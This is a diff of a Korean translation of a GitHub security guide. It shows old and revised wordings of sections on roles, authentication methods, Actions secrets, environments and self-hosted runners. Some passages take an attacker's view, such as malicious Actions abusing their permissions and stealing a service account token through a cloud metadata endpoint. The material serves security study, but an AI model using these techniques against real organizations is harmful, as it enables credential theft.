- **엔터프라이즈 소유자**: 이 역할을 가진 사람들은 **관리자를 관리하고, 엔터프라이즈 내의 조직을 관리하며, 엔터프라이즈 설정을 관리하고, 조직 전반에 정책을 시행**할 수 있습니다. 그러나 그들은 **조직 설정이나 콘텐츠에 접근할 수 없습니다**. 조직 소유자로 지정되거나 조직 소유 리포지토리에 직접 접근 권한이 부여되지 않는 한 접근할 수 없습니다.
|
||||
- **엔터프라이즈 구성원**: 귀하의 엔터프라이즈가 소유한 조직의 구성원은 **자동으로 엔터프라이즈의 구성원이 됩니다**.
|
||||
- **Enterprise owner**: 이 역할을 가진 사람은 **관리자 관리, enterprise 내 조직 관리, enterprise 설정 관리, 조직 전반의 정책 시행**을 할 수 있습니다. 그러나 조직 소유자(organization owner)가 되거나 조직 소유 레포지토리에 대한 직접 접근 권한이 부여되지 않는 한 **organization 설정이나 콘텐츠에 접근할 수 없습니다**.
|
||||
- **Enterprise members**: 귀하의 enterprise가 소유한 조직의 구성원은 **자동으로 enterprise의 멤버**가 됩니다.
|
||||
|
||||
### 조직 역할
|
||||
### Organization 역할
|
||||
|
||||
조직 내에서 사용자는 다양한 역할을 가질 수 있습니다:
|
||||
|
||||
- **조직 소유자**: 조직 소유자는 **조직에 대한 완전한 관리 접근 권한**을 가집니다. 이 역할은 제한되어야 하며, 조직 내에서 두 명 이상이어야 합니다.
|
||||
- **조직 구성원**: **조직 내 사람들**의 기본 비관리 역할은 조직 구성원입니다. 기본적으로 조직 구성원은 **일정한 권한을 가집니다**.
|
||||
- **청구 관리자**: 청구 관리자는 **조직의 청구 설정을 관리**할 수 있는 사용자입니다. 예를 들어, 결제 정보와 같은 설정을 관리합니다.
|
||||
- **보안 관리자**: 조직 소유자가 조직 내의 모든 팀에 부여할 수 있는 역할입니다. 적용되면 팀의 모든 구성원에게 **조직 전반의 보안 경고 및 설정을 관리할 수 있는 권한과 모든 리포지토리에 대한 읽기 권한**이 부여됩니다.
|
||||
- 조직에 보안 팀이 있는 경우, 보안 관리자 역할을 사용하여 팀 구성원에게 조직에 필요한 최소한의 접근 권한을 부여할 수 있습니다.
|
||||
- **Github 앱 관리자**: 조직이 소유한 **GitHub 앱을 관리**할 수 있도록 추가 사용자에게 GitHub 앱 관리자 권한을 부여할 수 있습니다.
|
||||
- **외부 협력자**: 외부 협력자는 **하나 이상의 조직 리포지토리에 접근할 수 있지만 조직의 명시적인 구성원은 아닌 사람**입니다.
|
||||
- **Organization owners**: Organization owners는 **조직에 대한 완전한 관리 접근 권한**을 가집니다. 이 역할은 제한되어야 하며, 조직 내 최소 두 명 이상에게는 부여되어야 합니다.
|
||||
- **Organization members**: 조직 내 사람들의 **기본(default)** 비관리자 역할은 organization member입니다. 기본적으로 organization members는 **여러 권한을 가집니다**.
|
||||
- **Billing managers**: Billing managers는 조직의 **청구 설정(예: 결제 정보)을 관리할 수 있는 사용자**입니다.
|
||||
- **Security Managers**: 조직 소유자가 조직 내의 어떤 팀에 할당할 수 있는 역할입니다. 적용되면 해당 팀의 모든 구성원에게 **조직 전반의 보안 경고 및 설정을 관리할 수 있는 권한과 조직 내 모든 리포지토리에 대한 읽기 권한**을 부여합니다.
|
||||
- 조직에 security team이 있다면, security manager 역할을 사용하여 팀 구성원에게 조직에 필요한 최소한의 접근 권한을 줄 수 있습니다.
|
||||
- **Github App managers**: 조직이 소유한 GitHub Apps를 **추가 사용자에게 관리할 수 있도록** 허용하려면, 소유자가 그들에게 GitHub App manager 권한을 부여할 수 있습니다.
|
||||
- **Outside collaborators**: Outside collaborator는 **조직의 명시적 멤버는 아니지만 하나 이상의 조직 리포지토리에 접근 권한이 있는 사람**입니다.
|
||||
|
||||
이 역할의 권한을 비교할 수 있는 표는 다음에서 확인할 수 있습니다: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
이 역할들의 권한을 비교하려면 이 표를 참조하세요: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### 구성원 권한
|
||||
### Members 권한
|
||||
|
||||
_https://github.com/organizations/\<org_name>/settings/member_privileges_에서 **조직의 구성원으로서 사용자가 가지는 권한**을 확인할 수 있습니다.
|
||||
_https://github.com/organizations/\<org_name>/settings/member_privileges_에서 **조직의 구성원으로서 사용자가 갖게 될 권한**을 볼 수 있습니다.
|
||||
|
||||
여기에서 구성된 설정은 조직 구성원의 다음 권한을 나타냅니다:
|
||||
여기 구성된 설정은 조직 구성원들의 다음 권한을 나타냅니다:
|
||||
|
||||
- 모든 조직 리포지토리에 대한 관리자, 작성자, 독자 또는 권한 없음.
|
||||
- 구성원이 개인, 내부 또는 공개 리포지토리를 생성할 수 있는지 여부.
|
||||
- 리포지토리 포크가 가능한지 여부.
|
||||
- 외부 협력자를 초대할 수 있는지 여부.
|
||||
- 공개 또는 비공식 사이트를 게시할 수 있는지 여부.
|
||||
- 관리자가 리포지토리에 대해 가지는 권한.
|
||||
- 구성원이 새로운 팀을 생성할 수 있는지 여부.
|
||||
- 조직의 모든 레포지토리에 대해 admin, writer, reader 또는 권한 없음.
|
||||
- 멤버가 private, internal 또는 public 리포지토리를 생성할 수 있는지 여부.
|
||||
- 리포지토리의 fork가 가능한지 여부.
|
||||
- outside collaborators를 초대할 수 있는지 여부.
|
||||
- public 또는 private 사이트를 게시할 수 있는지 여부.
|
||||
- 레포지토리에 대한 admins의 권한.
|
||||
- 멤버가 새 팀을 생성할 수 있는지 여부.
|
||||
|
||||
### 리포지토리 역할
|
||||
### Repository 역할
|
||||
|
||||
기본적으로 리포지토리 역할이 생성됩니다:
|
||||
기본적으로 리포지토리 역할은 다음과 같이 생성됩니다:
|
||||
|
||||
- **읽기**: **코드 기여자가 아닌** 사람들이 프로젝트를 보고 논의하기 위해 추천됩니다.
|
||||
- **분류**: **문제 및 풀 리퀘스트를 능동적으로 관리해야 하는 기여자**에게 추천됩니다. 쓰기 접근 권한은 없습니다.
|
||||
- **쓰기**: **프로젝트에 적극적으로 푸시하는 기여자**에게 추천됩니다.
|
||||
- **유지 관리**: **리포지토리를 관리해야 하는 프로젝트 관리자**에게 추천됩니다. 민감하거나 파괴적인 작업에 대한 접근 권한은 없습니다.
|
||||
- **관리자**: **프로젝트에 대한 완전한 접근 권한**이 필요한 사람에게 추천됩니다. 여기에는 보안 관리 또는 리포지토리 삭제와 같은 민감하고 파괴적인 작업이 포함됩니다.
|
||||
- **Read**: 프로젝트를 보거나 토론하려는 **비 코드 기여자(non-code contributors)**에게 권장됩니다.
|
||||
- **Triage**: 쓰기 권한 없이도 이슈와 pull request를 능동적으로 관리해야 하는 **기여자**에게 권장됩니다.
|
||||
- **Write**: 프로젝트에 **적극적으로 push하는 기여자**에게 권장됩니다.
|
||||
- **Maintain**: 민감하거나 파괴적인 작업에 접근하지 않고 **리포지토리를 관리해야 하는 프로젝트 매니저**에게 권장됩니다.
|
||||
- **Admin**: 보안 관리나 리포지토리 삭제와 같은 민감하고 파괴적인 작업을 포함하여 **프로젝트에 대한 전체 접근**이 필요한 사람들에게 권장됩니다.
|
||||
|
||||
각 역할의 권한을 비교할 수 있는 표는 다음에서 확인할 수 있습니다: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
각 역할의 권한을 비교하려면 이 표를 보세요: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
또한 _https://github.com/organizations/\<org_name>/settings/roles_에서 **자신만의 역할을 생성**할 수 있습니다.
|
||||
또한 _https://github.com/organizations/\<org_name>/settings/roles_에서 **사용자 정의 역할을 생성**할 수 있습니다.
|
||||
|
||||
### 팀
|
||||
### Teams
|
||||
|
||||
_https://github.com/orgs/\<org_name>/teams_에서 **조직 내에서 생성된 팀을 나열**할 수 있습니다. 다른 팀의 자식 팀을 보려면 각 부모 팀에 접근해야 합니다.
|
||||
조직에서 생성된 팀 목록은 _https://github.com/orgs/\<org_name>/teams_에서 볼 수 있습니다. 주의할 점은 다른 팀의 하위 팀(children)까지 보려면 각 상위 팀(parent team)에 접근해야 한다는 것입니다.
|
||||
|
||||
### 사용자
|
||||
### Users
|
||||
|
||||
조직의 사용자는 _https://github.com/orgs/\<org_name>/people_에서 **나열**할 수 있습니다.
|
||||
조직의 사용자는 _https://github.com/orgs/\<org_name>/people_에서 **목록화**할 수 있습니다.
|
||||
|
||||
각 사용자의 정보에서 **사용자가 속한 팀**과 **사용자가 접근할 수 있는 리포지토리**를 확인할 수 있습니다.
|
||||
각 사용자 정보에서 사용자가 속한 **teams**와 사용자가 접근할 수 있는 **repos**를 볼 수 있습니다.
|
||||
|
||||
## Github 인증
|
||||
|
||||
Github는 계정에 인증하고 귀하를 대신하여 작업을 수행하는 다양한 방법을 제공합니다.
|
||||
Github는 계정에 인증하고 사용자를 대신하여 작업을 수행하는 다양한 방법을 제공합니다.
|
||||
|
||||
### 웹 접근
|
||||
### 웹 액세스
|
||||
|
||||
**github.com**에 접근하여 **사용자 이름과 비밀번호**(및 **2FA**를 사용할 수 있음)를 사용하여 로그인할 수 있습니다.
|
||||
**github.com**에 접근하면 **username과 password**(및 경우에 따라 **2FA**)로 로그인할 수 있습니다.
|
||||
|
||||
### **SSH 키**
|
||||
### **SSH Keys**
|
||||
|
||||
하나 이상의 공개 키로 계정을 구성하여 관련 **개인 키가 귀하를 대신하여 작업을 수행할 수 있도록** 할 수 있습니다. [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
계정에 하나 이상의 공개 키를 구성하여 관련 **private key가 사용자를 대신해 작업을 수행하도록** 허용할 수 있습니다. [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG 키**
|
||||
#### **GPG Keys**
|
||||
|
||||
이 키로 사용자를 가장할 수는 없지만 사용하지 않으면 **서명 없는 커밋을 보내는 것으로 인해 발견될 수 있습니다**. [여기에서 경계 모드에 대해 더 알아보세요](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
이 키들로는 사용자를 **가로채어 가장할 수는 없지만**, 서명 없는 커밋을 보냈을 때 **발견될 수 있습니다**. [vigilant mode에 대해 더 알아보기](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **개인 접근 토큰**
|
||||
### **Personal Access Tokens**
|
||||
|
||||
응용 프로그램이 귀하의 계정에 접근할 수 있도록 **개인 접근 토큰을 생성**할 수 있습니다. 개인 접근 토큰을 생성할 때 **사용자**는 **토큰**이 가질 **권한**을 **지정**해야 합니다. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
애플리케이션이 귀하의 계정에 접근하도록 **personal access token**을 생성할 수 있습니다. personal access token을 생성할 때 **사용자는 토큰이 가질 권한(permissions)을 명시해야 합니다**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth 애플리케이션
|
||||
### Oauth Applications
|
||||
|
||||
Oauth 애플리케이션은 귀하의 **github 정보의 일부에 접근하거나 귀하를 가장하여** 일부 작업을 수행할 수 있는 권한을 요청할 수 있습니다. 이 기능의 일반적인 예는 일부 플랫폼에서 찾을 수 있는 **github로 로그인 버튼**입니다.
|
||||
Oauth applications는 **귀하의 일부 github 정보에 접근하거나 귀하를 가장하여** 특정 작업을 수행하기 위해 권한을 요청할 수 있습니다. 흔한 예는 일부 플랫폼에서 찾을 수 있는 **login with github 버튼**입니다.
|
||||
|
||||
- [https://github.com/settings/developers](https://github.com/settings/developers)에서 **자신의 Oauth 애플리케이션을 생성**할 수 있습니다.
|
||||
- [https://github.com/settings/applications](https://github.com/settings/applications)에서 **귀하의 계정에 접근할 수 있는 모든 Oauth 애플리케이션**을 확인할 수 있습니다.
|
||||
- [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)에서 **Oauth Apps가 요청할 수 있는 범위**를 확인할 수 있습니다.
|
||||
- _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_에서 **조직의 애플리케이션에 대한 제3자 접근**을 확인할 수 있습니다.
|
||||
- 자신의 **Oauth applications**는 [https://github.com/settings/developers](https://github.com/settings/developers)에서 **생성**할 수 있습니다.
|
||||
- 귀하의 계정에 접근 권한이 있는 모든 **Oauth applications**는 [https://github.com/settings/applications](https://github.com/settings/applications)에서 볼 수 있습니다.
|
||||
- Oauth Apps가 요청할 수 있는 **scopes**는 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)에서 확인할 수 있습니다.
|
||||
- 조직의 서드파티 애플리케이션 접근은 _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_에서 볼 수 있습니다.
|
||||
|
||||
일부 **보안 권장 사항**:
|
||||
몇 가지 **보안 권장 사항**:
|
||||
|
||||
- **OAuth 앱**은 항상 **모든 GitHub에서 인증된 GitHub 사용자로서 행동해야 합니다**(예: 사용자 알림 제공 시) 및 지정된 범위에만 접근해야 합니다.
|
||||
- OAuth 앱은 인증된 사용자를 위해 "GitHub로 로그인"을 활성화하여 신원 공급자로 사용할 수 있습니다.
|
||||
- **단일 리포지토리**에서 작동하도록 애플리케이션을 구축하지 마십시오. `repo` OAuth 범위를 사용하면 OAuth 앱이 **인증된 사용자의 모든 리포지토리에서 작동할 수 있습니다**.
|
||||
- **팀이나 회사**의 애플리케이션으로 작동하도록 OAuth 앱을 구축하지 마십시오. OAuth 앱은 **단일 사용자**로 인증되므로, 한 사람이 회사를 위해 OAuth 앱을 생성하고 회사를 떠나면 다른 누구도 접근할 수 없습니다.
|
||||
- **자세한 내용은 여기에서 확인하세요** [여기](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- **OAuth App**은 항상 지정된 scopes에만 접근하면서 **인증된 GitHub 사용자로서 GitHub 전반에서 행동해야** 합니다(예: 사용자 알림 제공 시).
|
||||
- OAuth App은 인증된 사용자를 위한 "Login with GitHub"를 활성화하여 **신원 제공자(identity provider)**로 사용될 수 있습니다.
|
||||
- **단일 리포지토리에서만 동작하게 하려면 OAuth App을 만들지 마세요.** `repo` OAuth scope로 OAuth Apps는 **인증된 사용자의 모든 리포지토리(all of the authenticated user's repositories)**에 대해 동작할 수 있습니다.
|
||||
- **팀이나 회사용 애플리케이션으로 OAuth App을 만들지 마세요.** OAuth Apps는 **단일 사용자로 인증**되므로, 한 사람이 회사용 OAuth App을 만들고 그 사람이 회사를 떠나면 다른 사람이 접근할 수 없게 됩니다.
|
||||
- **추가 정보**는 [여기](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)에서 확인하세요.
|
||||
|
||||
### Github 애플리케이션
|
||||
### Github Applications
|
||||
|
||||
Github 애플리케이션은 귀하의 **github 정보에 접근하거나 귀하를 가장하여** 특정 리소스에 대해 특정 작업을 수행할 수 있는 권한을 요청할 수 있습니다. Github 앱에서는 앱이 접근할 리포지토리를 지정해야 합니다.
|
||||
Github applications는 특정 리소스에 대해 **귀하의 github 정보에 접근하거나 귀하를 가장하여** 특정 작업을 수행하는 권한을 요청할 수 있습니다. Github Apps에서는 앱이 접근할 리포지토리를 지정해야 합니다.
|
||||
|
||||
- GitHub 앱을 설치하려면 **조직 소유자이거나 리포지토리에서 관리자 권한**이 있어야 합니다.
|
||||
- GitHub 앱은 **개인 계정 또는 조직**에 연결해야 합니다.
|
||||
- [https://github.com/settings/apps](https://github.com/settings/apps)에서 **자신의 Github 애플리케이션을 생성**할 수 있습니다.
|
||||
- [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)에서 **귀하의 계정에 접근할 수 있는 모든 Github 애플리케이션**을 확인할 수 있습니다.
|
||||
- **Github 애플리케이션을 위한 API 엔드포인트**는 [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)입니다. 앱의 권한에 따라 일부에 접근할 수 있습니다.
|
||||
- _https://github.com/organizations/\<org_name>/settings/installations_에서 **조직에 설치된 앱**을 확인할 수 있습니다.
|
||||
- GitHub App을 설치하려면 **organization owner이거나 리포지토리에 대한 admin 권한**이 있어야 합니다.
|
||||
- GitHub App은 **개인 계정(personal account) 또는 organization에 연결되어야** 합니다.
|
||||
- 자신의 Github application은 [https://github.com/settings/apps](https://github.com/settings/apps)에서 생성할 수 있습니다.
|
||||
- 귀하의 계정에 접근 권한이 있는 모든 **Github applications**는 [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)에서 볼 수 있습니다.
|
||||
- 다음은 **Github Applications에 대한 API Endpoints**입니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). 앱의 권한에 따라 일부 엔드포인트에 접근할 수 있습니다.
|
||||
- 조직에 설치된 앱은 _https://github.com/organizations/\<org_name>/settings/installations_에서 볼 수 있습니다.
|
||||
|
||||
일부 보안 권장 사항:
|
||||
몇 가지 보안 권장 사항:
|
||||
|
||||
- GitHub 앱은 **사용자와 독립적으로 작업해야 합니다**(앱이 [사용자-서버](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 토큰을 사용하는 경우 제외). 사용자-서버 접근 토큰을 더 안전하게 유지하려면 8시간 후 만료되는 접근 토큰과 새 접근 토큰으로 교환할 수 있는 갱신 토큰을 사용할 수 있습니다. 자세한 내용은 "[사용자-서버 접근 토큰 갱신](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)"을 참조하세요.
|
||||
- GitHub 앱이 **특정 리포지토리**와 통합되도록 하십시오.
|
||||
- GitHub 앱은 **개인 계정 또는 조직**에 연결해야 합니다.
|
||||
- GitHub 앱이 사용자가 할 수 있는 모든 것을 알고 수행할 것이라고 기대하지 마십시오.
|
||||
- **"GitHub로 로그인" 서비스가 필요할 뿐이라면 GitHub 앱을 사용하지 마십시오**. 그러나 GitHub 앱은 [사용자 식별 흐름](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)을 사용하여 사용자를 로그인시키고 _다른_ 작업을 수행할 수 있습니다.
|
||||
- GitHub 사용자로서만 작동하고 사용자가 할 수 있는 모든 작업을 수행하려는 경우 GitHub 앱을 구축하지 마십시오.
|
||||
- GitHub Actions와 함께 앱을 사용하고 워크플로 파일을 수정하려는 경우, `workflow` 범위를 포함하는 OAuth 토큰을 사용하여 사용자를 대신하여 인증해야 합니다. 사용자는 워크플로 파일이 포함된 리포지토리에 대한 관리자 또는 쓰기 권한이 있어야 합니다. 자세한 내용은 "[OAuth 앱의 범위 이해하기](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)"를 참조하세요.
|
||||
- **자세한 내용은 여기에서 확인하세요** [여기](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- GitHub App은 **사용자와 독립적으로(action independent of a user)** 동작해야 합니다(앱이 [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 토큰을 사용하지 않는 한). user-to-server 접근 토큰을 더 안전하게 유지하려면, 8시간 후 만료되는 access token과 새 access token으로 교환할 수 있는 refresh token을 사용하는 것이 좋습니다. 자세한 내용은 "Refreshing user-to-server access tokens"를 참조하세요.
|
||||
- GitHub App이 **특정 리포지토리**와 통합되었는지 확인하세요.
|
||||
- GitHub App은 **개인 계정 또는 organization에 연결되어야** 합니다.
|
||||
- GitHub App이 사용자가 할 수 있는 모든 것을 알거나 수행할 것으로 기대하지 마세요.
|
||||
- **"Login with GitHub" 서비스만 필요하다면 GitHub App을 사용하지 마세요.** 다만 GitHub App은 [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)를 사용하여 사용자를 로그인시키고 추가 작업을 할 수 있습니다.
|
||||
- GitHub App은 **사용자처럼만 행동하려는 목적**이라면 만들지 마세요.
|
||||
- 앱을 GitHub Actions와 함께 사용하고 workflow 파일을 수정하려면 `workflow` scope를 포함한 OAuth 토큰으로 사용자를 대신해 인증해야 합니다. 사용자는 해당 workflow 파일을 포함한 리포지토리에 대해 admin 또는 write 권한을 가져야 합니다. 자세한 내용은 "Understanding scopes for OAuth apps"를 참조하세요.
|
||||
- **추가 정보**는 [여기](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)에서 확인하세요.
|
||||
|
||||
### Github Actions
|
||||
|
||||
이것은 **github에서 인증하는 방법이 아니지만**, **악의적인** Github Action이 **github에 무단 접근**을 할 수 있으며, **Action에 부여된 권한에 따라 여러 **다양한 공격**이 발생할 수 있습니다. 아래에서 더 많은 정보를 확인하세요.
|
||||
이것은 **github에서 인증하는 방식은 아니지만**, **악의적인 Github Action**은 **무단으로 github에 접근**할 수 있고 Action에 부여된 **권한(privileges)에 따라 여러 가지 다른 공격**이 가능할 수 있습니다. 아래에서 더 많은 정보를 확인하세요.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions는 **이벤트가 발생할 때 코드를 자동으로 실행**할 수 있게 해줍니다. 일반적으로 실행되는 코드는 **리포지토리의 코드와 관련이 있습니다**(예: 도커 컨테이너를 빌드하거나 PR에 비밀이 포함되어 있지 않은지 확인).
|
||||
Git actions는 **이벤트가 발생할 때 코드 실행을 자동화**할 수 있게 합니다. 보통 실행되는 코드는 **레포지토리의 코드와 관련된 작업**(예: 도커 컨테이너 빌드 또는 PR에 비밀이 포함되지 않았는지 검사)입니다.
|
||||
|
||||
### 구성
|
||||
### 구성(Configuration)
|
||||
|
||||
_https://github.com/organizations/\<org_name>/settings/actions_에서 **조직의 github actions 구성**을 확인할 수 있습니다.
|
||||
_https://github.com/organizations/\<org_name>/settings/actions_에서 조직의 **github actions 구성**을 확인할 수 있습니다.
|
||||
|
||||
github actions의 사용을 완전히 금지하거나, **모든 github actions을 허용**하거나, 특정 작업만 허용할 수 있습니다.
|
||||
Github actions의 사용을 완전히 금지하거나, **모든 github actions를 허용**하거나, 특정 actions만 허용하도록 설정할 수 있습니다.
|
||||
|
||||
또한 **Github Action을 실행하기 위해 승인해야 하는 사람**과 **Github Action이 실행될 때 GITHUB_TOKEN의 권한**을 구성할 수 있습니다.
|
||||
또한 **누가 Github Action을 실행하기 위해 승인이 필요한지**, 그리고 실행 시 Github Action의 **GITHUB_TOKEN 권한**을 구성할 수 있습니다.
|
||||
|
||||
### Git 비밀
|
||||
### Git Secrets
|
||||
|
||||
Github Action은 일반적으로 github 또는 제3자 애플리케이션과 상호작용하기 위해 어떤 종류의 비밀이 필요합니다. **비밀을 평문으로 리포지토리에 넣지 않기 위해**, github은 이를 **비밀**로 설정할 수 있도록 허용합니다.
|
||||
Github Action은 보통 github 또는 서드파티 애플리케이션과 상호작용하기 위해 어떤 형태의 secrets가 필요합니다. 레포지토리에 **평문으로 두지 않기 위해**, github은 이를 **Secrets**로 저장할 수 있게 합니다.
|
||||
|
||||
이 비밀은 **리포지토리 또는 조직 전체에 대해 구성**할 수 있습니다. 그런 다음 **Action이 비밀에 접근할 수 있도록** 선언해야 합니다:
|
||||
이러한 secrets는 **레포지토리별 또는 조직 전체**로 구성할 수 있습니다. 그런 다음 Action이 secret에 접근할 수 있도록 선언하려면 다음과 같이 해야 합니다:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
@@ -159,7 +159,7 @@ super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
#### Bash 사용 예 <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
#### Bash 사용 예시 <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
@@ -170,73 +170,89 @@ example-command "$SUPER_SECRET"
|
||||
> [!WARNING]
|
||||
> Secrets **는 선언된 Github Actions에서만 접근할 수 있습니다.**
|
||||
|
||||
> 레포지토리나 조직에 구성된 후 **github 사용자들은 다시 접근할 수 없으며**, 그들은 **변경만 할 수 있습니다.**
|
||||
> 레포나 조직에 설정되면 **github의 사용자들은 더 이상 접근할 수 없습니다**, 단지 **변경만 할 수 있습니다**.
|
||||
|
||||
따라서, **github 비밀을 훔치는 유일한 방법은 Github Action을 실행하는 머신에 접근할 수 있는 것입니다** (그 시나리오에서는 Action에 대해 선언된 비밀만 접근할 수 있습니다).
|
||||
따라서, **github secrets를 훔치는 유일한 방법은 Github Action을 실행하는 머신에 접근할 수 있는 경우뿐입니다** (그 시나리오에서는 해당 Action에 선언된 secrets만 접근할 수 있습니다).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github는 **비밀**을 저장할 수 있는 **환경**을 생성할 수 있도록 허용합니다. 그런 다음, 환경 내의 비밀에 대한 접근을 github action에 다음과 같이 부여할 수 있습니다:
|
||||
Github는 **environments**를 생성하여 **secrets**를 저장할 수 있게 합니다. 그런 다음, 환경 내의 secrets에 대한 접근 권한을 github action에 다음과 같이 부여할 수 있습니다:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
환경을 **모든 브랜치**(기본값)에서 **접근할 수 있도록** 구성하거나, **보호된** 브랜치만 **접근할 수 있도록** 하거나, **어떤 브랜치가 접근할 수 있는지 지정**할 수 있습니다.\
|
||||
또한 **작업**을 **실행하기 전에 필요한 리뷰 수**를 설정하거나, 배포가 진행되기 전에 **일정 시간**을 **기다릴** 수 있습니다.
|
||||
환경(environment)을 다음과 같이 구성할 수 있습니다: 기본값인 **all branches**(모든 브랜치), **only protected** branches(보호된 브랜치만) 또는 접근 가능한 브랜치를 **specify**(지정)할 수 있습니다.\
|
||||
추가로, environment 보호에는 다음이 포함됩니다:
|
||||
- **Required reviewers**: 환경을 대상으로 하는 gate 작업을 승인될 때까지 차단합니다. 승인 자체에서 적절한 사후 검토(4-eyes 원칙)를 강제하려면 **Prevent self-review**를 활성화하세요.
|
||||
- **Deployment branches and tags**: 어떤 브랜치/태그가 environment에 배포할 수 있는지 제한합니다. 특정 브랜치/태그를 선택하고 해당 브랜치들이 보호(protected)되어 있는지 확인하는 것이 좋습니다. 참고: "Protected branches only" 옵션은 classic branch protections에 적용되며 rulesets를 사용하는 경우 기대한 대로 동작하지 않을 수 있습니다.
|
||||
- **Wait timer**: 배포를 지연시킬 수 있는 구성 가능한 대기 시간을 설정합니다.
|
||||
|
||||
또한 **environment**를 사용하여 **action**을 **실행(executing)**하기 전에 필요한 **리뷰 수(number of required reviews)**를 설정하거나 배포가 진행되기 전에 일정 **시간(wait)**을 두도록 설정할 수 있습니다.
|
||||
|
||||
### Git Action Runner
|
||||
|
||||
Github Action은 **github 환경 내에서 실행**되거나 사용자가 구성한 **타사 인프라**에서 실행될 수 있습니다.
|
||||
A Github Action은 **github environment 내부에서 실행될** 수 있거나, 사용자가 구성한 **third party infrastructure**에서 실행될 수 있습니다.
|
||||
|
||||
여러 조직에서는 **타사 인프라**에서 Github Actions를 실행할 수 있도록 허용하는데, 이는 **더 저렴하기** 때문입니다.
|
||||
여러 조직은 비용상 이유로 Github Actions를 **third party infrastructure**에서 실행하도록 허용합니다.
|
||||
|
||||
조직의 **자체 호스팅 러너**를 _https://github.com/organizations/\<org_name>/settings/actions/runners_에서 **목록화**할 수 있습니다.
|
||||
조직의 **self-hosted runners**를 나열하려면 _https://github.com/organizations/\<org_name>/settings/actions/runners_ 를 확인하세요.
|
||||
|
||||
**비-Github 인프라에서 실행되고 있는 Github Actions**를 찾는 방법은 Github Action 구성 yaml에서 `runs-on: self-hosted`를 검색하는 것입니다.
|
||||
어떤 **Github Actions가 non-github infrastructure에서 실행되는지** 찾는 방법은 Github Action 구성 yaml에서 `runs-on: self-hosted`를 검색하는 것입니다.
|
||||
|
||||
**다른 조직의 자체 호스팅 박스** 내에서 조직의 Github Action을 실행하는 것은 **러너가 속한 곳을 알기 위해 러너에 대해 고유한 토큰이 생성되기 때문에 불가능**합니다.
|
||||
한 조직의 Github Action을 다른 조직의 self hosted box 안에서 실행하는 것은 **불가능**합니다. Runner를 구성할 때 해당 Runner가 어느 조직에 속하는지 알기 위해 **unique token**이 생성되기 때문입니다.
|
||||
|
||||
예를 들어, 커스텀 **Github Runner가 AWS 또는 GCP 내의 머신에 구성된 경우**, Action은 **메타데이터 엔드포인트에 접근할 수 있고** 머신이 실행 중인 **서비스 계정의 토큰을 훔칠 수 있습니다**.
|
||||
만약 custom **Github Runner가 AWS나 GCP 같은 머신 내부에 구성되어 있다면**, Action은 **metadata endpoint**에 접근할 수 있고 머신이 실행 중인 **SA token**을 탈취할 수 있습니다.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
